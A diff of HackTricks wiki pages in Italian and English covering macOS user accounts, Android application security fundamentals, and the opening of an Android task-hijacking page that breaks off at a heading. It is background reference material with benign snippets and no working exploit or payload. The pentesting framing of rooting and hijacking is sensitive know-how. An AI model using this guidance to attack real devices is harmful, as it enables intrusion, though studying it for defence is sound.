Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,71 +1,56 @@
|
|||
# Utenti macOS
|
||||
# macOS Users
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Common Users
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Utenti Comuni
|
||||
|
||||
* **Daemon**: Utente riservato ai demoni di sistema. I nomi predefiniti degli account dei demoni di solito iniziano con un "\_":
|
||||
* **Daemon**: Utente riservato per i demoni di sistema. I nomi degli account daemon predefiniti di solito iniziano con un "\_":
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Ospite**: Account per gli ospiti con permessi molto restrittivi
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
* **Guest**: Account per gli ospiti con permessi molto restrittivi
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Nessuno**: I processi vengono eseguiti con questo utente quando sono richiesti permessi minimi
|
||||
* **Nessuno**: I processi vengono eseguiti con questo utente quando sono richieste autorizzazioni minime
|
||||
* **Root**
|
||||
|
||||
### Privilegi degli Utenti
|
||||
### Privilegi Utente
|
||||
|
||||
* **Utente Standard:** Il più basilare degli utenti. Questo utente ha bisogno di autorizzazioni concesse da un utente amministratore quando cerca di installare software o eseguire altre attività avanzate. Non è in grado di farlo da solo.
|
||||
* **Utente Amministratore**: Un utente che opera per la maggior parte del tempo come un utente standard ma ha anche il permesso di eseguire azioni di root come installare software e altre attività amministrative. Tutti gli utenti appartenenti al gruppo admin **hanno accesso a root tramite il file sudoers**.
|
||||
* **Root**: Root è un utente autorizzato a eseguire quasi qualsiasi azione (ci sono limitazioni imposte da protezioni come la Protezione dell'Integrità del Sistema).
|
||||
* Ad esempio root non sarà in grado di inserire un file all'interno di `/System`
|
||||
* **Utente Standard:** Il tipo più basilare di utente. Questo utente ha bisogno di autorizzazioni concesse da un utente admin quando tenta di installare software o eseguire altre operazioni avanzate. Non è in grado di farlo da solo.
|
||||
* **Utente Admin**: Un utente che opera per la maggior parte del tempo come un utente standard ma è anche autorizzato a eseguire azioni di root come installare software e altre operazioni amministrative. Tutti gli utenti appartenenti al gruppo admin hanno **accesso a root tramite il file sudoers**.
|
||||
* **Root**: Root è un utente autorizzato a eseguire quasi qualsiasi azione (ci sono limitazioni imposte da protezioni come la Protezione dell'Integrità di Sistema).
|
||||
* Ad esempio, root non sarà in grado di posizionare un file all'interno di `/System`
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Fondamenti delle Applicazioni Android
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,14 +15,6 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Gruppo di Sicurezza Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Modello di Sicurezza Android
|
||||
|
||||
**Ci sono due livelli:**
|
||||
|
@ -32,7 +24,7 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
### Separazione UID
|
||||
|
||||
**Ogni applicazione è assegnata a un ID Utente specifico**. Questo avviene durante l'installazione dell'app in modo che **l'app possa interagire solo con i file di proprietà del suo ID Utente o con file condivisi**. Pertanto, solo l'app stessa, alcuni componenti del OS e l'utente root possono accedere ai dati delle app.
|
||||
**A ciascuna applicazione viene assegnato un ID Utente specifico**. Questo avviene durante l'installazione dell'app in modo che **l'app possa interagire solo con i file di proprietà del suo ID Utente o con file condivisi**. Pertanto, solo l'app stessa, alcuni componenti del sistema operativo e l'utente root possono accedere ai dati delle app.
|
||||
|
||||
### Condivisione UID
|
||||
|
||||
|
@ -42,12 +34,12 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
### Sandboxing
|
||||
|
||||
Il **Sandbox delle Applicazioni Android** consente di eseguire **ogni applicazione** come un **processo separato sotto un ID utente separato**. Ogni processo ha la propria macchina virtuale, quindi il codice di un'app viene eseguito in isolamento rispetto ad altre app.\
|
||||
A partire da Android 5.0(L) **SELinux** è applicato. Fondamentalmente, SELinux negava tutte le interazioni tra processi e poi creava politiche per **consentire solo le interazioni previste tra di essi**.
|
||||
A partire da Android 5.0(L), **SELinux** è applicato. Fondamentalmente, SELinux nega tutte le interazioni tra processi e poi crea politiche per **consentire solo le interazioni previste tra di essi**.
|
||||
|
||||
### Permessi
|
||||
|
||||
Quando installi un'**app e richiede permessi**, l'app sta chiedendo i permessi configurati negli elementi **`uses-permission`** nel file **AndroidManifest.xml**. L'elemento **uses-permission** indica il nome del permesso richiesto all'interno dell'**attributo name**. Ha anche l'attributo **maxSdkVersion** che smette di chiedere permessi su versioni superiori a quella specificata.\
|
||||
Nota che le applicazioni android non devono chiedere tutti i permessi all'inizio, possono anche **chiedere permessi dinamicamente** ma tutti i permessi devono essere **dichiarati** nel **manifest.**
|
||||
Quando installi un'**app e chiede permessi**, l'app sta chiedendo i permessi configurati negli elementi **`uses-permission`** nel file **AndroidManifest.xml**. L'elemento **uses-permission** indica il nome del permesso richiesto all'interno dell'**attributo name**. Ha anche l'attributo **maxSdkVersion** che smette di chiedere permessi su versioni superiori a quella specificata.\
|
||||
Nota che le applicazioni android non devono chiedere tutti i permessi all'inizio, possono anche **chiedere permessi dinamicamente**, ma tutti i permessi devono essere **dichiarati** nel **manifest**.
|
||||
|
||||
Quando un'app espone funzionalità, può limitare **l'accesso solo alle app che hanno un permesso specificato**.\
|
||||
Un elemento di permesso ha tre attributi:
|
||||
|
@ -58,7 +50,7 @@ Un elemento di permesso ha tre attributi:
|
|||
* **Normale**: Usato quando non ci sono **minacce note** all'app. L'utente **non è tenuto ad approvarlo**.
|
||||
* **Pericoloso**: Indica che il permesso concede all'applicazione richiedente un **accesso elevato**. **Gli utenti sono invitati ad approvarli**.
|
||||
* **Firma**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente possono ricevere il permesso. Questo è il tipo di protezione più forte.
|
||||
* **FirmaOSystem**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente o **app che girano con accesso a livello di sistema** possono ricevere permessi.
|
||||
* **FirmaOSistema**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente o **app che girano con accesso a livello di sistema** possono ricevere permessi.
|
||||
|
||||
## Applicazioni Preinstallate
|
||||
|
||||
|
@ -71,9 +63,9 @@ Queste app si trovano generalmente nelle directory **`/system/app`** o **`/syste
|
|||
## Rooting
|
||||
|
||||
Per ottenere accesso root su un dispositivo android fisico, generalmente è necessario **sfruttare** 1 o 2 **vulnerabilità** che tendono a essere **specifiche** per il **dispositivo** e la **versione**.\
|
||||
Una volta che l'exploit ha funzionato, di solito il binario Linux `su` viene copiato in una posizione specificata nella variabile PATH dell'utente come `/system/xbin`.
|
||||
Una volta che lo sfruttamento ha funzionato, di solito il binario Linux `su` viene copiato in una posizione specificata nella variabile PATH dell'utente come `/system/xbin`.
|
||||
|
||||
Una volta configurato il binario su, un'altra app Android viene utilizzata per interfacciarsi con il binario `su` e **elaborare le richieste di accesso root** come **Superuser** e **SuperSU** (disponibile nel Google Play store).
|
||||
Una volta configurato il binario su, viene utilizzata un'altra app Android per interfacciarsi con il binario `su` e **elaborare le richieste di accesso root** come **Superuser** e **SuperSU** (disponibile nel Google Play store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che il processo di rooting è molto pericoloso e può danneggiare gravemente il dispositivo.
|
||||
|
@ -115,7 +107,7 @@ Una volta che un dispositivo è rootato, qualsiasi app potrebbe richiedere acces
|
|||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Nello sviluppo Android, **Java o Kotlin** viene utilizzato per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Eseguibile (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.
|
||||
Nello sviluppo Android, **Java o Kotlin** viene utilizzato per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Executable (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.
|
||||
|
||||
Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile dall'uomo del bytecode DEX, agendo come un linguaggio assembly traducendo il codice sorgente in istruzioni bytecode. Smali e baksmali si riferiscono agli strumenti di assemblaggio e disassemblaggio in questo contesto.
|
||||
|
||||
|
@ -140,7 +132,7 @@ Se vulnerabili, **gli Intents possono essere utilizzati per eseguire una variet
|
|||
|
||||
I Filtri di Intent sono composti da categorie, azioni e filtri di dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire specifici Intents che corrispondono ai criteri dichiarati.
|
||||
|
||||
Un aspetto critico dei componenti Android (attività/servizi/content provider/broadcast receivers) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Filtro di Intent è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.
|
||||
Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/receiver di trasmissione) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Filtro di Intent è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.
|
||||
|
||||
Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'accesso a questi componenti richiedendo permessi specifici. L'attributo **`permission`** può essere impostato per imporre che solo le app con il permesso designato possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagire con esso.
|
||||
```java
|
||||
|
@ -148,7 +140,7 @@ Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'acc
|
|||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Implicit Intents
|
||||
### Intents impliciti
|
||||
|
||||
Gli intent vengono creati programmaticamente utilizzando un costruttore di Intent:
|
||||
```java
|
||||
|
@ -171,7 +163,7 @@ Il processo di "risoluzione dell'Intent" determina quale app dovrebbe ricevere c
|
|||
|
||||
### Intents Espliciti
|
||||
|
||||
Un intent esplicito specifica il nome della classe a cui è destinato:
|
||||
Un intent esplicito specifica il nome della classe che sta mirando:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
@ -206,7 +198,7 @@ Se trovi funzioni contenenti la parola "sticky" come **`sendStickyBroadcast`** o
|
|||
|
||||
## Deep links / URL schemes
|
||||
|
||||
Nelle applicazioni Android, **deep links** vengono utilizzati per avviare un'azione (Intent) direttamente tramite un URL. Questo viene fatto dichiarando un **URL scheme** specifico all'interno di un'attività. Quando un dispositivo Android cerca di **accedere a un URL con questo schema**, l'attività specificata all'interno dell'applicazione viene avviata.
|
||||
Nelle applicazioni Android, **deep links** vengono utilizzati per avviare un'azione (Intent) direttamente tramite un URL. Questo viene fatto dichiarando uno specifico **URL scheme** all'interno di un'attività. Quando un dispositivo Android cerca di **accedere a un URL con questo schema**, l'attività specificata all'interno dell'applicazione viene avviata.
|
||||
|
||||
Lo schema deve essere dichiarato nel file **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
|
@ -235,7 +227,7 @@ Per accedervi da un web è possibile impostare un link come:
|
|||
```
|
||||
Per trovare il **codice che verrà eseguito nell'App**, vai all'attività chiamata dal deeplink e cerca la funzione **`onNewIntent`**.
|
||||
|
||||
Impara a [chiamare deep link senza utilizzare pagine HTML](./#exploiting-schemes-deep-links).
|
||||
Scopri come [chiamare deep link senza utilizzare pagine HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Linguaggio di Definizione dell'Interfaccia Android
|
||||
|
||||
|
@ -332,7 +324,7 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
E un esempio di specificare le cartelle condivise in `filepaths.xml`:
|
||||
E un esempio di specificazione delle cartelle condivise in `filepaths.xml`:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
|
@ -344,7 +336,7 @@ Per ulteriori informazioni controlla:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews sono come **mini browser web** all'interno delle app Android, che estraggono contenuti dal web o da file locali. Affrontano rischi simili a quelli dei browser regolari, ma ci sono modi per **ridurre questi rischi** attraverso **impostazioni** specifiche.
|
||||
WebViews sono come **mini browser web** all'interno delle app Android, che estraggono contenuti dal web o da file locali. Affrontano rischi simili a quelli dei browser normali, ma ci sono modi per **ridurre questi rischi** attraverso **impostazioni** specifiche.
|
||||
|
||||
Android offre due principali tipi di WebView:
|
||||
|
||||
|
@ -360,7 +352,7 @@ Il "Bridge" JavaScript consente agli oggetti Java di interagire con JavaScript,
|
|||
Consentire l'accesso ai contenuti (````setAllowContentAccess(true)````) consente ai WebView di accedere ai Content Providers, il che potrebbe essere un rischio a meno che gli URL dei contenuti non siano verificati come sicuri.
|
||||
|
||||
Per controllare l'accesso ai file:
|
||||
- Disabilitare l'accesso ai file (````setAllowFileAccess(false)````) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che siano utilizzati solo per contenuti non sensibili.
|
||||
- Disabilitare l'accesso ai file (````setAllowFileAccess(false)````) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che vengano utilizzati solo per contenuti non sensibili.
|
||||
|
||||
## Altri Componenti dell'App e Gestione dei Dispositivi Mobili
|
||||
|
||||
|
@ -370,11 +362,11 @@ Per controllare l'accesso ai file:
|
|||
|
||||
### **Verifica dell'App per Maggiore Sicurezza**
|
||||
|
||||
- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura prevenire l'installazione di quelle particolarmente dannose, migliorando la sicurezza dell'utente.
|
||||
- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura prevenire l'installazione di app particolarmente dannose, migliorando la sicurezza dell'utente.
|
||||
|
||||
### **Gestione dei Dispositivi Mobili (MDM)**
|
||||
|
||||
- Le **soluzioni MDM** forniscono **supervisione e sicurezza** per i dispositivi mobili attraverso l'**API di Amministrazione Dispositivo**. Richiedono l'installazione di un'app Android per gestire e proteggere efficacemente i dispositivi mobili. Le funzioni chiave includono **imposizione di politiche sulle password**, **obbligo di crittografia dello storage**, e **permissibilità di cancellazione remota dei dati**, garantendo un controllo e una sicurezza completi sui dispositivi mobili.
|
||||
- Le **soluzioni MDM** forniscono **supervisione e sicurezza** per i dispositivi mobili attraverso l'**API di Amministrazione Dispositivo**. Richiedono l'installazione di un'app Android per gestire e proteggere efficacemente i dispositivi mobili. Le funzioni chiave includono **imposizione di politiche di password**, **obbligo di crittografia dello storage**, e **permissibilità di cancellazione remota dei dati**, garantendo un controllo e una sicurezza completi sui dispositivi mobili.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,87 +1,74 @@
|
|||
# Android Task Hijacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Attività, Back Stack e Attività in Primo Piano
|
||||
|
||||
In Android, un **task** è essenzialmente un insieme di attività con cui gli utenti interagiscono per completare un lavoro specifico, organizzato all'interno di uno **stack di retro**. Questo stack ordina le attività in base a quando sono state aperte, con l'attività più recente visualizzata in cima come **attività in primo piano**. In qualsiasi momento, solo questa attività è visibile sullo schermo, rendendola parte del **task in primo piano**.
|
||||
In Android, un **task** è essenzialmente un insieme di attività con cui gli utenti interagiscono per completare un lavoro specifico, organizzato all'interno di uno **back stack**. Questo stack ordina le attività in base a quando sono state aperte, con l'attività più recente visualizzata in cima come **foreground activity**. In qualsiasi momento, solo questa attività è visibile sullo schermo, rendendola parte del **foreground task**.
|
||||
|
||||
Ecco una rapida panoramica delle transizioni delle attività:
|
||||
|
||||
* **Attività 1** inizia come l'unica attività in primo piano.
|
||||
* L'apertura di **Attività 2** spinge **Attività 1** nello stack di retro, portando **Attività 2** in primo piano.
|
||||
* L'avvio di **Attività 3** sposta **Attività 1** e **Attività 2** ulteriormente indietro nello stack, con **Attività 3** ora davanti.
|
||||
* La chiusura di **Attività 3** riporta **Attività 2** in primo piano, mostrando il meccanismo di navigazione dei task semplificato di Android.
|
||||
* **Activity 1** inizia come l'unica attività in primo piano.
|
||||
* L'apertura di **Activity 2** spinge **Activity 1** nello stack di retro, portando **Activity 2** in primo piano.
|
||||
* L'avvio di **Activity 3** sposta **Activity 1** e **Activity 2** ulteriormente indietro nello stack, con **Activity 3** ora davanti.
|
||||
* La chiusura di **Activity 3** riporta **Activity 2** in primo piano, mostrando il meccanismo di navigazione delle attività semplificato di Android.
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||
|
||||
## Attacco di Affinità del Task
|
||||
## Attacco di affinità del task
|
||||
|
||||
### Panoramica dell'Affinità del Task e delle Modalità di Lancio
|
||||
